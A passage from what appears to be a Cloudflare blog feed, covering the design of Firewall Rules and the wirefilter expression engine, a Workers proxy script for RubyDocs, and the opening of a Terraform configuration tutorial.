            <p>Blocking is not the only action you might need and so other actions are available:</p><ul><li><p>Allowlist = apply no other firewall rules and allow the request to pass this part of the firewall</p></li><li><p>Challenge = issue a <a href="https://en.wikipedia.org/wiki/CAPTCHA">CAPTCHA</a> and if this is passed then allow the request but otherwise deny. This would be used to determine if the request came from a human operator</p></li><li><p>JavaScript challenge = issue an automated JavaScript challenge and if this is passed then allow the request. This would be used to determine if the request came from a simple stateless bot (perhaps a wget or curl script)</p></li><li><p>Block = deny the request</p></li></ul><p>Cloudflare also has Page Rules. Page Rules allow you to match full URIs and then perform actions such as redirects or to raise the security level which can be considered firewall functions:</p>
            <pre><code>if request URI matches /nullroute then redirect to http://127.0.0.1</code></pre>
            <p>Cloudflare also added GeoIP information within an HTTP header and the firewall was extended to include that:</p>
            <pre><code>if request IP originates from county GB then CAPTCHA the request</code></pre>
            <p>All of the above existed in Cloudflare pre-2014, and then during 2016 we set about to identify the most commonly requested firewall features (according to Customer Support tickets and feedback from paying customers) and provide a self-service solution. From that analysis, we added three new capabilities during late 2016: Rate Limiting, User Agent Rules, and Zone Lockdown.</p><p>Whilst Cloudflare automatically stops very large denial of service attacks, rate limiting allowed customers to stop smaller attacks that were a real concern to them but were low enough volume that Cloudflare’s DDoS defences were not being applied.</p>
            <pre><code>if request method is POST and request URI matches /wp-admin/index.php and response status code is 403 and more than 3 requests like this occur in a 15 minute time period then block the traffic for 2 hours</code></pre>
            <p>User Agent rules are as simple as:</p>
            <pre><code>if request user_agent is `Fake User Agent` then CAPTCHA the request</code></pre>
            <p>Zone Lockdown, however was the first default deny feature. The Cloudflare Firewall could be thought of as “allow all traffic, except where a rule exists to block it”. Zone Lockdown is the opposite “for a given URI, block all traffic, except where a rule exists to allow it”.</p><p>Zone Lockdown allowed customers could to block access to a public website for all but a few IP addresses or IP ranges. For example, many customers wanted access to a staging website to only be available to their office IP addresses.</p>
            <pre><code>if request URI matches https://staging.example.com/ and request IP not in 203.0.113.0/24 then block the request</code></pre>
            <p>Finally, an Enterprise customer could also contact Cloudflare and have a truly bespoke rule created for them within the WAF engine.</p>
    <div>
      <h3>Seeing the problem</h3>
      <a href="#seeing-the-problem">
        
      </a>
    </div>
    <p>The firewall worked well for simple mitigation, but it didn’t fully meet the needs of our customers.</p><p>Each of the firewall features had targeted a single attribute, and the interfaces and implementations reflected that. Whilst the Cloudflare Firewall had evolved to solve a problem as each problem arose, these did not work together. In late 2017 you could sum up the firewall capabilities as:</p><p>You can block any attack traffic on any criteria, so long as you <b>only</b> pick <b>one</b> of:</p><ul><li><p>IP</p></li><li><p>CIDR</p></li><li><p>ASN</p></li><li><p>Country</p></li><li><p>User Agent</p></li><li><p>URI</p></li></ul><p>We saw the problem, but how to fix it?</p><p>We match our firewall rules in two ways:</p><ul><li><p>Lookup matching</p></li><li><p>String pattern matching</p></li></ul><p>Lookup matching covers the IP, CIDR, ASN, Country and User Agent rules. We would create a key in our globally distributed key/value data store Quicksilver, and store the action in the value:</p>
            <pre><code>Key   = zone:www.example.com_ip:203.0.113.1
Value = block</code></pre>
            <p>When a request for <code>www.example.com</code> is received, we look at the IP address of the client that made the request, construct the key and perform the lookup. If the key exists in the store, then the value would tell us what action to perform, in this case if the client IP were <code>203.0.113.1</code> then we would block the request.</p><p>Lookup matching is a joy to work with, it is O(1) complexity meaning that a single request would only perform a single lookup for an IP rule regardless of how many IP rules a customer had. Whilst most customers had a few rules, some customers had hundreds of thousands of rules (typically created automatically by combining fail2ban or similar with a Cloudflare API call).</p><p>Lookups work well when you are only looking up a single value. If you need to combine an IP and a User Agent we would need to produce keys that composed these values together. This massively increases the number of keys that you need to publish.</p><p>String pattern matching occurs where URI matching is required. For our Page Rules feature this meant combining all of the Page Rules into a single regular expression that we would apply to the request URI whilst handling a request.</p><p>If you had Page Rules that said (in order):</p><ul><li><p>Match <code>*/wp-admin/index.php</code> and then block</p></li><li><p>Then match <code>*/xmlrpc.php</code> and then block</p></li></ul><p>These are converted into:</p>
            <pre><code>^(?&lt;block__1&gt;(?:.*/wp-admin/index.php))|(?&lt;block__2&gt;(?:.*/xmlrpc.php))$</code></pre>
            <p>Yes, you read that correctly. Each Page Rule was appended to a single regular expression in the order of execution, and the naming group is used as an overload for the desired action.</p><p>This works surprisingly well as <a href="https://swtch.com/~rsc/regexp/regexp1.html">regular expression matching can be simple and fast</a> especially when the regular expression matches against a single value like the URI, but as soon as you want to match the URI plus an IP range it becomes less obvious how to extend this.</p><p>This is what we had, a set of features that worked really well providing you want to match a single property of a request. The implementation also meant that none of these features could be trivially extended to embrace multiple properties at a time. We needed something else, a fast way to compute if a request matches a rule that could contain multiple properties as well as pattern matching.</p>
    <div>
      <h3>A solution that works now and in the future</h3>
      <a href="#a-solution-that-works-now-and-in-the-future">
        
      </a>
    </div>
    <p>Over time Cloudflare engineers authored internal posts exploring how a new matching engine might work. The first thing that occurred to every engineer was that the matching must be an expression. These ideas followed a similar approach which we would construct an expression within JSON as a DSL (Domain Specific Language) of our expression language. This DSL could describe matching a request and a UI could render this, and a backend could process it.</p><p>Early proposals looked like this:</p>
            <pre><code>{
  "And": [
    {
      "Equals"{
        "host": "www.example.com"
      }
    },
    "Or": [
      {
        "Regex": {
          "path": "^(?: .*/wp-admin/index.php)$"
        }
      }{
        "Regex": {
          "path": "^(?: .*/xmlrpc.php)$"
        }
      }
    ]
  ]
}</code></pre>
            <p>The JSON describes an expression that computers can easily turn into a rule to apply, but people find this hard to read and work with.</p><p>As we did not wish to display JSON like this in our dashboard we thought about how we might summarise it for a UI:</p>
            <pre><code>if request host equals www.example.com and (request path matches ^(?:.*/wp-admin/index.php)$ or request path matches ^(?:.*/xmlrpc.php)$)</code></pre>
            <p>And there came an epiphany. As engineers working we’ve seen an expression language similar to this before, so may I introduce to you our old friend <a href="https://www.wireshark.org">Wireshark</a><b>®</b>.</p><p>Wireshark is a network protocol analyzer. To use it you must run a packet capture to record network traffic from a capture device (usually a network card). This is then saved to disk as a .pcap file which you subsequently open in the Wireshark GUI. The Wireshark GUI has a display filter entry box, and when you fill in a display filter the GUI will dissect the saved packet capture such that it will determine which packets match the expression and then show those in the GUI.</p><p>But we don’t need to do that. In fact, for our scenario that approach does not work as we have a firewall and need to make decisions in real-time as part of the HTTP request handling rather than via the packet capture process.</p><p>For Cloudflare, we would want to use something like the expression language that is the <a href="https://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html">Wireshark Display Filters</a> but without the capture and dissection as we would want to do this potentially thousands of times per request without noticeable delay.</p><p>If we were able to use a Wireshark-style expression language then we can reduce the JSON encapsulated expression above to:</p>
            <pre><code>http.host eq "www.example.com" and (http.request.path ~ "wp-admin/index\.php" or http.request.path ~ "xmlrpc.php")</code></pre>
            <p>This is human readable, machine parseable, succinct.</p><p>It also benefits from being highly similar to Wireshark. For security engineers used to working with Wireshark when investigating attacks it offers a degree of portability from an investigation tool to a mitigation engine.</p><p>To make this work we would need to collect the properties of the request into a simple data structure to match the expressions against. Unlike the packet capture approach we run our firewall within the context of an HTTP server and the web server has already computed the request properties, so we can avoid dissection and populate the fields from the web server knowledge:</p><table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>http.cookie</td>
<td><pre><code>session=8521F670545D7865F79C3D7BED C29CCE;-background=light</code></pre></td>
</tr><tr>
<td>http.host</td>
<td><pre><code>www.example.com</code></pre></td>
</tr><tr>
<td>http.referer</td>
<td></td>
</tr><tr>
<td>http.request.method</td>
<td><pre><code>GET</code></pre></td>
</tr><tr>
<td>http.request.uri</td>
<td><pre><code>/articles/index?section=539061&amp;expand=comments</code></pre></td>
</tr><tr>
<td>http.request.uri.path</td>
<td><pre><code>/articles/index</code></pre></td>
</tr><tr>
<td>http.request.uri.query</td>
<td><pre><code>section=539061&amp;expand=comments</code></pre></td>
</tr><tr>
<td>http.user_agent</td>
<td><pre><code>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36</code></pre></td>
</tr><tr>
<td>http.x_forwarded_for</td>
<td></td>
</tr><tr>
<td>ip.src</td>
<td><pre><code>203.0.113.1</code></pre></td>
</tr><tr>
<td>ip.geoip.asnum</td>
<td><pre><code>64496</code></pre></td>
</tr><tr>
<td>ip.geoip.country</td>
<td><pre><code>GB</code></pre></td>
</tr><tr>
<td>ssl</td>
<td><pre><code>true</code></pre></td>
</tr>
</tbody>
</table><p>With a table of HTTP request properties and an expression language that can provide a <a href="https://developers.cloudflare.com/firewall/cf-firewall-rules/fields-and-expressions/">matching expression</a> we were 90% of the way towards a solution! All we needed for the <a href="https://en.wikipedia.org/wiki/Hofstadter%27s_law">last 90%</a> was the matching engine itself that would provide us with an answer to the question: Does this request match one of the expressions?</p><p>Enter wirefilter.</p><p>Wirefilter is the name of the Rust library that Cloudflare has created, and it provides:</p><ul><li><p>The ability for Cloudflare to define a set of fields of types, i.e. <code>ip.src</code> is a field of type <code>IPAddress</code></p></li><li><p>The ability to define a table of properties from all of the fields that are defined</p></li><li><p>The ability to parse an expression and to say whether it is syntactically valid, whether the fields in the expression are valid against the fields defined, and whether the operators used for a field are valid for the type of the field</p></li><li><p>The ability to apply an expression to a table and return a true|false response indicating whether the evaluated expression matches the request</p></li></ul><p>It is named wirefilter as a hat tip towards Wireshark for inspiring our Wireshark-like expression language and also because in our context of the Cloudflare Firewall these expressions act as a filter over traffic.</p><p>The implementation of wirefilter allows us to embed this matching engine within our REST API which is written in Go:</p>
            <pre><code>// scheme stores the list of fields and their types that an expression can use
var scheme = filterexpr.Scheme{
	"http.cookie":                     filterexpr.TypeString,
	"http.host":                       filterexpr.TypeString,
	"http.referer":                    filterexpr.TypeString,
	"http.request.full_uri":           filterexpr.TypeString,
	"http.request.method":             filterexpr.TypeString,
	"http.request.uri":                filterexpr.TypeString,
	"http.request.uri.path":           filterexpr.TypeString,
	"http.request.uri.query":          filterexpr.TypeString,
	"http.user_agent":                 filterexpr.TypeString,
	"http.x_forwarded_for":            filterexpr.TypeString,
	"ip.src":                          filterexpr.TypeIP,
	"ip.geoip.asnum":                  filterexpr.TypeNumber,
	"ip.geoip.country":                filterexpr.TypeString,
	"ssl":                             filterexpr.TypeBool,
}</code></pre>
            <p>Later we validate expressions provided to the API:</p>
            <pre><code>// expression here is a string that may look like:
// `ip.src eq 203.0.113.1`
expressionHash, err := filterexpr.ValidateFilter(scheme, expression)
if fve, ok := err.(*filterexpr.ValidationError); ok {
	validationErrs = append(validationErrs, fve.Ascii)
} else if err != nil {
	return nil, stderrors.Errorf("failed to validate filter: %v", err)
}</code></pre>
            <p>This tells us whether the expression is syntactically correct and also whether the field operators and values match the field type. If the expression is valid then we can use the returned hash to determine uniqueness (the hash is generated inside wirefilter so that uniqueness can ignore blanks and minor differences).</p><p>The expressions are then published to our global network of PoPs and are consumed by Lua within our web proxy. The web proxy has the same list of fields that the API does, and is now responsible for building the table of properties from the context within the web proxy:</p>
            <pre><code>-- The `traits` table defines the mapping between the fields and
-- the corresponding values from the nginx evaluation context.
local traits = {
   ['http.host'] = field.str(function(ctx) return ctx.host end),
   ['http.cookie'] = field.str(function(ctx)
      local value = ctx.req_headers.cookie or ''
      if type(value) == 'table' then
         value = table.concat(value, ";")
      end
      return value
   end),
   ['http.referer'] = field.str(function(ctx) return ctx.req_headers.referer or '' end),
   ['http.request.method'] = field.str(function(ctx) return ctx.method end),
   ['http.request.uri'] = field.str(function(ctx)
      return ctx.rewrite_uri or ctx.request_uri
   end),
   ['http.request.uri.path'] = field.str(function(ctx)
      return ctx.uri or '/'
   end),
   ...</code></pre>
            <p>With this per-request table describing a request we can see test the filters. In our case what we’re doing here is:</p><ul><li><p>Fetch a list of all the expressions we would like to match against the request</p></li><li><p>Check whether any expression, when applied via wirefilter to the table above, return true as having matched</p></li><li><p>For all matched expressions check the associated actions and their priority</p></li></ul><p>The actions are not part of the matching itself. Once we have a list of matched expressions we determine which action takes precedence and that is the one that we will execute.</p><p>Wirefilter then, is a generic library that provides this matching capability that we’ve plugged into our Go APIs and our Lua web proxy, and we use that to power the Cloudflare Firewall.</p><p>We chose Rust for wirefilter as early in the project we recognised that if we attempted to make implementations of this in Go and Lua, that it would result in inconsistencies that attackers may be able to exploit. We needed our API and edge proxy to behave exactly the same. For this needed a library, both could call and we could choose one of our existing languages at the edge like C, C++, Go, Lua or even implement this not as a library but as a worker in JavaScript. With a mixed set of requirements of performance, memory safety, low memory use, and the capability to be part of other products that we’re working on like Spectrum, Rust stood out as the strongest option.</p><p>With a library in place and the ability to now match all HTTP traffic, how to get that to a public API and UI without diluting the capability? The problems that arose related to specificity and mutual exclusion.</p><p>In the past all of our firewall rules had a single dimension to them: i.e. act on IP addresses. And this meant that we had a single property of a single type and whilst there were occasionally edge cases for the most part there were strategies to answer the question “Which is the most specific rule?”. I.e. an IP address is more specific then a /24 which is more specific than a /8. Likewise with URI matching an overly simplistic strategy is that the longer a URI the more specific it is. And if we had 2 IP rules, then only 1 could ever have matched as a request does not come from 2 IPs at once so mutual exclusion is in effect.</p><p>The old system meant that given 2 rules, we could implicitly and trivially say “this rule is most specific so use the action associated with this rule”.</p><p>With wirefilter powering Firewall Rules, it isn’t obvious that an IP address is more or less specific when compared to a URI. It gets even more complex when a rule can have negation, as a rule that matches a /8 is less specific than a rule that <b>does not</b> match a single IP (the whole address space except this IP - one of the gotchas of Firewall Rules is also a source of it’s power; you can invert your firewall into a <a href="https://www.owasp.org/index.php/Positive_security_model">positive security model</a>.</p><p>As we couldn’t answer specificity using the expression alone, we needed another aspect of the Firewall Rule to provide us this guidance and we realised that customers already had a mechanism to tell us which rules were important… the action.</p><p>Given a set of rules, we logically have ordered them according to their action (Log has highest priority, Block has lowest):</p><ol><li><p>Log</p></li><li><p>Allow</p></li><li><p>Challenge (CAPTCHA)</p></li><li><p>JavaScript Challenge</p></li><li><p>Block</p></li></ol><p>For the vast majority of scenarios this proves to be good enough.</p><p>What about when that isn’t good enough though? Do we have examples of complex configuration that break that approach? Yes!</p><p>Because the expression language within Firewall Rules is so powerful, and we can support many Firewall Rules, it means that we can now create different firewall configuration for different parts of a web site. i.e. /blog could have wholly different rules than /shop, or for different audiences, i.e. visitors from your office IPs might be allowed on a given URI but everyone else trying to access that URI may be blocked.</p><p>In this scenario you need the ability to say “run all of these rules first, and then run the other rules”.</p><p>In single machine firewalls like iptables, OS X Firewall, or your home router firewall, the firewall rules were explicitly ordered so that when you match the first rule it terminates execution and you won’t hit the next rule. When you add a new rule the entire set of rules is republished and this helps to guarantee this behaviour. But this approach does not work well for a <a href="https://www.cloudflare.com/learning/cloud/what-is-a-cloud-firewall/">Cloud Firewall</a> as a large website with many web applications typically also has a large number of firewall rules. Republishing all of these rules in a single transaction can be slow and if you are adding lots of rules quickly this can lead to delays to the final state being live.</p><p>If we published individual rules and supported explicit ordering, we risked race conditions where two rules that both were configured in position 4 might exist at the same time and the behaviour if they matched the request would be non-determinable.</p><p>We solved this by introducing a priority value, where 1 is the highest priority and as an int32 you can create low priority rules all the way down to priority = 2147483647. Not providing a priority value is the equivalent of “lowest” and runs after all rules that have a priority.</p><p>Priority does not have to be a unique value within Firewall Rules. If two rules are of equal priority then we resort to the order of precedence of the actions as defined earlier.</p><p>This provides us a few benefits:</p><ol><li><p>Because priority allows rules that share a priority to exist we can publish rules 1 at a time… when you add a new rule the speed at which we deploy that globally is not affected by the number of rules you already have.</p></li><li><p>If you do have existing rules in a system that does sequentially order the rules, you can import those into Firewall Rules and preserve their order, i.e. this rule should always run before that rule.</p></li><li><p>But you don’t have to use priority exclusively for ordering as you can also use priority for grouping. For example you may say that all spammers are priority=10000 and all trolls are priority = 5000.</p></li></ol><p>Finally… let’s look at those fields again, <code>http.request.path</code> notice that <code>http</code> prefix? By following the naming convention Wireshark has (see their <a href="https://www.wireshark.org/docs/dfref/">Display Filter Reference</a>) we have not limited this firewall capability solely to a HTTP web proxy. It is a small leap to imagine that if a <a href="https://www.cloudflare.com/products/cloudflare-spectrum/">Spectrum</a>  application declares itself as running SMTP that we could also define fields that understand SMTP and allow filtering of traffic on other application protocols or even at layer 4.</p><p>What we have built in Firewall Rules gives us these features today:</p><ul><li><p>Rich expression language capable of targeting traffic precisely and in real-time</p></li><li><p>Fast global deployment of individual rules</p></li><li><p>A lot of control over the management and organisation of Firewall Rules</p></li></ul><p>And in the future, we have a product that can go beyond HTTP and be a true Cloud Firewall for all protocols…the Cloudflare Firewall with Firewall Rules.</p> ]]></content:encoded>
            <category><![CDATA[Firewall]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Rust]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">2ZJuPaDwCLknYvVUR1SPwG</guid>
            <dc:creator>David Kitchen</dc:creator>
        </item>
        <item>
            <title><![CDATA[Improving RubyDocs with Cloudflare Workers and Workers KV]]></title>
            <link>https://blog.cloudflare.com/improving-rubydocs-with-cloudflare-workers-and-workers-kv/</link>
            <pubDate>Wed, 31 Oct 2018 12:48:27 GMT</pubDate>
            <description><![CDATA[ RubyDocs is an open-source service that generates and hosts “fancy docs for any Ruby project”, most notably for the Ruby language itself and for Rails, the most popular Ruby framework.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p><i>The following is a guest post from Manuel Meurer, Berlin based web developer, entrepreneur, and Ruby on Rails enthusiast. In 2010, he founded </i><a href="https://www.krautcomputing.com/"><i>Kraut Computing</i></a><i> as a one-man web dev shop and launched </i><a href="https://uplink.tech/"><i>Uplink</i></a><i>, a network for IT experts in Germany, in 2015.</i></p><p><a href="https://rubydocs.org/">RubyDocs</a> is an <a href="https://github.com/krautcomputing/rubydocs">open-source</a> service that generates and hosts “fancy docs for any Ruby project”, most notably for the Ruby language itself and for Rails, the most popular Ruby framework. The nifty thing about it is that the docs can be generated for any version of a project — so let’s say you’re working on an old Rails app that still uses version 3.2.22 (<a href="https://rubygems.org/gems/rails/versions">released June 16, 2015</a>), then you can really benefit from having access to the docs of that specific version, since a lot of the methods, classes, and concepts of the current Rails version (5.2.1 at the time of writing) don’t exist in that old version.</p>
    <div>
      <h3>Scratching an itch</h3>
      <a href="#scratching-an-itch">
        
      </a>
    </div>
    <p>I built RubyDocs back in 2013 to scratch my own itch — a few similar services that I had used over the years had disappeared or hadn’t been regularly updated. After the initial work to get RubyDocs up and running, I continued improving a few small things over the years, such as updating dependencies and adding new projects that were submitted by users. But by and large, the site was (and is) running on autopilot, updating the list of versions for each project automatically from GitHub tags and generating new docs as users request them. One thing I had always wanted to do was to move the hosted docs from a subdomain (docs.rubydocs.org) to a subpath on the main domain (e.g., rubydocs.org/docs). I had put them on the subdomain to be able to use a CDN with long expiration times, since the docs are mostly static HTML and CSS with a bit of JavaScript sprinkled in. But for SEO reasons (AFAIK it’s still better to have everything on the main domain), and for a more coherent experience when using the site, I wanted everything on one domain. But I could never figure out how to run the RubyDocs app itself (built with Rails, of course) on rubydocs.org and still get all the advantages of a CDN for a subpath…</p>
    <div>
      <h3>Enter Cloudflare</h3>
      <a href="#enter-cloudflare">
        
      </a>
    </div>
    <p>Fast forward to September 2017 when I read about <a href="/introducing-cloudflare-workers/">Cloudflare Workers</a> for the first time. I was already a heavy user of Cloudflare for their DNS, CDN and DDoS mitigation and was always astonished by the amount of high-quality services they were offering for free. And now they basically added a <a href="https://martinfowler.com/articles/serverless.html">serverless</a> platform on top of that for $5 per month? You really have to admire their dedication to making their stuff available to as many people as possible for as low a price as possible.</p><p>For a few months, I kept thinking about what I could use the Workers for until it hit me — they could be the perfect tool to proxy requests from a subpath to a subdomain! I wouldn’t have to change the RubyDocs server/CDN setup at all, just add a Worker that does the proxying and a <a href="https://www.cloudflare.com/features-page-rules/">Page Rule</a> to redirect all traffic from the subdomain to the new subpath. I got in touch with Cloudflare support to confirm that this was indeed possible (and a proper use of their Workers) and since RubyDocs is open-source, they even offered to sponsor the workers!</p>
    <div>
      <h3>Let’s get to work!</h3>
      <a href="#lets-get-to-work">
        
      </a>
    </div>
    <p>While I was working on the Worker (no pun intended), an <a href="https://github.com/krautcomputing/rubydocs/issues/8">issue in the RubyDocs GitHub repo</a> popped up — it turned out I had inadvertently broken a few URLs with a faulty regex, which was quickly fixed (Worker scripts can be edited in the Cloudflare backend and when saved, the live site is updated within seconds). But the author of the issue also mentioned that someone had apparently created a <a href="https://duckduckgo.com/bang">DuckDuckGo bang</a> for RubyDocs. Sweet, I didn’t even know they existed!</p><p>For this bang to really be useful, it was necessary to have a URL that always points to the latest version of a project’s docs, i.e. something like <a href="https://rubydocs.org/d/ruby-latest/">rubydocs.org/d/ruby-latest/</a> (which now works), and update automatically when a new version is released. Well, I thought to myself, if that isn’t another perfect use case for a Worker! But wait, how does the Worker know which version is the latest? We could include the data in the Worker script and update it periodically, but as the number of projects on RubyDocs grows, the script would grow as well — probably not to an unmanageable size, but it still didn’t feel like a clean solution. The Worker could also make a quick subrequest to ask the main RubyDocs Rails app for the latest version when a request is processed, but that would mean setting up an API and monitoring the performance of the endpoint, and it would most likely severely slow down these ‘latest’ requests.</p>
    <div>
      <h3>Enter Cloudflare, again</h3>
      <a href="#enter-cloudflare-again">
        
      </a>
    </div>
    <p>And as if someone at Cloudflare had been waiting for me to ponder this problem, they <a href="/introducing-workers-kv/">launched Cloudflare KV</a>, a key-value store that can be written to via the Cloudflare API and read from within a Worker. I was dumbfounded by the coincidence. It was very obviously the best way to solve my problem — store the latest version of each project from the RubyDocs Rails app every time a new version is detected, and read it from the Worker script when a ‘latest’ request comes in.</p><p>Long story short: here is the resulting Worker script (also on <a href="https://github.com/krautcomputing/rubydocs/blob/master/lib/cloudflare_worker.js">GitHub</a>) and after a bit of fiddling (mostly due to my inexperience with JavaScript), everything is working smoothly.</p>
            <pre><code>addEventListener('fetch', event =&gt; {
  event.respondWith(handleRequest(event.request))
})

async function handleRequest(request) {
  const match = request.url.match(/\/d\/([^?]+)(\?.+)?/);
  let fetchable;

  if (match) {
    let doc   = match[1];
    let query = match[2] || '';

    // Redirect to latest if necessary.
    latestMatch = doc.match(/^([^/]+)-latest/);
    if (latestMatch) {
      const latest = await LATEST.get(latestMatch[1]);
      let newUrl = request.url.replace(/[^/]+-latest/, latest);
      return Response.redirect(newUrl, 302);
    }

    // Redirect to URL with trailing slash if necessary.
    if (!doc.includes('/')) {
      let newUrl = request.url.replace(doc, doc + '/');
      return Response.redirect(newUrl, 301);
     }

    if (doc.endsWith('/'))
      doc += 'index.html';
    fetchable = `http://d3eo0xoa109f6x.cloudfront.net/${doc}${query}`;
  } else {
    fetchable = request;
  }

  const response = await fetch(fetchable);
  return response;
}</code></pre>
            <p><i>NOTE: </i><code><i>LATEST</i></code><i> is the name of the author's KV namespace and is not a default for Workers KV</i></p><p>I have submitted a request to DuckDuckGo to use the new ‘latest’ URLs for the <a href="https://duckduckgo.com/bang?q=rubydocs">!rubydocs and !rb bangs</a>, but so far they still forward to an older version.</p><p>Many thanks to Cloudflare for supporting RubyDocs and, more importantly, <a href="https://www.cloudflare.com/betterinternet/">building a better Internet</a> for all of us!</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Cloudflare Workers KV]]></category>
            <category><![CDATA[Open Source]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <guid isPermaLink="false">QRnNYW6BALQohODEptPeV</guid>
            <dc:creator>Guest Author</dc:creator>
        </item>
        <item>
            <title><![CDATA[Getting started with Terraform and Cloudflare (Part 2 of 2)]]></title>
            <link>https://blog.cloudflare.com/getting-started-with-terraform-and-cloudflare-part-2/</link>
            <pubDate>Mon, 30 Apr 2018 16:20:45 GMT</pubDate>
            <description><![CDATA[ Continue exploring Terraform with Cloudflare by enabling load balancing, creating page rules, and rolling back changes. ]]></description>
            <content:encoded><![CDATA[ <p><i> In </i><a href="/getting-started-with-terraform-and-cloudflare-part-1/"><i>Part 1 of Getting Started with Terraform</i></a><i>, we explained how Terraform lets developers store Cloudflare configuration in their own source code repository, institute change management processes that include code review, track their configuration versions and history over time, and easily roll back changes as needed.</i></p><p><i>We covered </i><a href="/getting-started-with-terraform-and-cloudflare-part-1#installingterraform"><i>installing Terraform</i></a><i>, </i><a href="/getting-started-with-terraform-and-cloudflare-part-1#helloworld"><i>provider initialization</i></a><i>, </i><a href="/getting-started-with-terraform-and-cloudflare-part-1#trackingchangehistory"><i>storing configuration in git</i></a><i>, </i><a href="/getting-started-with-terraform-and-cloudflare-part-1#applyingzonesettings"><i>applying zone settings</i></a><i>, and </i><a href="/getting-started-with-terraform-and-cloudflare-part-1#managingratelimits"><i>managing rate limits</i></a><i>. This post continues the Cloudflare Terraform provider walkthrough with examples of </i><a href="#addingloadbalancing"><i>load balancing</i></a><i>, </i><a href="#usingpagerules"><i>page rules</i></a><i>, </i><a href="#reviewingandrollingbackchanges"><i>reviewing and rolling back configuration</i></a><i>, and </i><a href="#importingexistingstateandconfiguration"><i>importing state</i></a><i>.</i></p>
    <div>
      <h3>Reviewing the current configuration</h3>
      <a href="#reviewing-the-current-configuration">
        
      </a>
    </div>
    <p>Before we build on Part 1, let's quickly review what we configured in that post. Because our configuration is in git, we can easily view the current configuration and change history that got us to this point.</p>
            <pre><code>$ git log
commit e1c38cf6f4230a48114ce7b747b77d6435d4646c
Author: Me
Date:   Mon Apr 9 12:34:44 2018 -0700

    Step 4 - Update /login rate limit rule from 'simulate' to 'ban'.

commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24
Author: Me
Date:   Mon Apr 9 12:22:43 2018 -0700

    Step 4 - Add rate limiting rule to protect /login.

commit d540600b942cbd89d03db52211698d331f7bd6d7
Author: Me
Date:   Sun Apr 8 22:21:27 2018 -0700

    Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode.

commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7
Author: Me
Date:   Sun Apr 8 19:58:56 2018 -0700

    Step 2 - Ignore terraform plugin directory and state file.

commit 5acea176050463418f6ac1029674c152e3056bc6
Author: Me
Date:   Sun Apr 8 19:52:13 2018 -0700

    Step 2 - Initial commit with webserver definition.</code></pre>
            <p>We'll get into more detail about reviewing and rolling back to prior versions of configuration <a href="#reviewingandrollingbackchanges">later in this post</a>, but for now let's review the current version.</p><p>In lines 1-4 below, we configured the Cloudflare Terraform provider. Initially we stored our email address and API key in the <code>cloudflare.tf</code> file, but for security reasons we removed them before committing to a git repository.</p><p>In lines 6-8, we define a <code>variable</code> that can be interpolated into <code>resources</code> definitions. Terraform can be used to mass configure multiple zones through the use of variables, as we'll explore in a future post.</p><p>Lines 10-16 tell Cloudflare to create a DNS <code>A</code> record for <code>www.${var.domain}</code> using IP address <code>203.0.113.10</code>. Later in this post, we'll explore adding a second web server and load balancing between the two origins.</p><p>Lines 18-26 apply zone-wide settings and lines 28-54 define a rate limiting rule to protect against credential stuffing and other brute force attacks.</p>
            <pre><code>$ cat -n cloudflare.tf 
     1	provider "cloudflare" {
     2	  # email pulled from $CLOUDFLARE_EMAIL
     3	  # token pulled from $CLOUDFLARE_TOKEN
     4	}
     5	
     6	variable "domain" {
     7	  default = "example.com"
     8	}
     9	
    10	resource "cloudflare_record" "www" {
    11	  domain  = "${var.domain}"
    12	  name    = "www"
    13	  value   = "203.0.113.10"
    14	  type    = "A"
    15	  proxied = true
    16	}
    17	
    18	resource "cloudflare_zone_settings_override" "example-com-settings" {
    19	  name = "${var.domain}"
    20	
    21	  settings {
    22	    tls_1_3 = "on"
    23	    automatic_https_rewrites = "on"
    24	    ssl = "strict"
    25	  }
    26	}
    27	
    28	resource "cloudflare_rate_limit" "login-limit" {
    29	  zone = "${var.domain}"
    30	
    31	  threshold = 5
    32	  period = 60
    33	  match {
    34	    request {
    35	      url_pattern = "${var.domain}/login"
    36	      schemes = ["HTTP", "HTTPS"]
    37	      methods = ["POST"]
    38	    }
    39	    response {
    40	      statuses = [401, 403]
    41	      origin_traffic = true
    42	    }
    43	  }
    44	  action {
    45	    mode = "ban"
    46	    timeout = 300
    47	    response {
    48	      content_type = "text/plain"
    49	      body = "You have failed to login 5 times in a 60 second period and will be blocked from attempting to login again for the next 5 minutes."
    50	    }
    51	  }
    52	  disabled = false
    53	  description = "Block failed login attempts (5 in 1 min) for 5 minutes."
    54	}</code></pre>
            
    <div>
      <h3>Adding load balancing</h3>
      <a href="#adding-load-balancing">
        
      </a>
    </div>
    <p>Thanks to the <a href="/getting-started-with-terraform-and-cloudflare-part-1#managingratelimits">rate limiting set up in part 1</a>, our login page is protected against credential brute force attacks. Now it's time to focus on performance and reliability. Imagine organic traffic has grown for your web server, and this traffic is increasingly global. It’s time to spread these requests to your origin over multiple data centers.</p><p>Below we'll add a second origin for some basic round robining, and then use the <a href="https://www.cloudflare.com/load-balancing/">Cloudflare Load Balancing</a> product to fail traffic over as needed. We'll then enhance our load balancing configuration through the use of "geo steering" to serve results from an origin server that is geographically closest to your end users.</p>
    <div>
      <h4>1. Add another DNS record for <code>www</code></h4>
      <a href="#1-add-another-dns-record-for-www">
        
      </a>
    </div>
    <p>To get started, we'll add a DNS record for a second web server, which is located in Asia. The IP address for this server is <code>198.51.100.15</code>.</p>
            <pre><code>$ git checkout -b step5-loadbalance
Switched to a new branch 'step5-loadbalance'

$ cat &gt;&gt; cloudflare.tf &lt;&lt;'EOF'
resource "cloudflare_record" "www-asia" {
  domain  = "${var.domain}"
  name    = "www"
  value   = "198.51.100.15"
  type    = "A"
  proxied = true
}
EOF</code></pre>
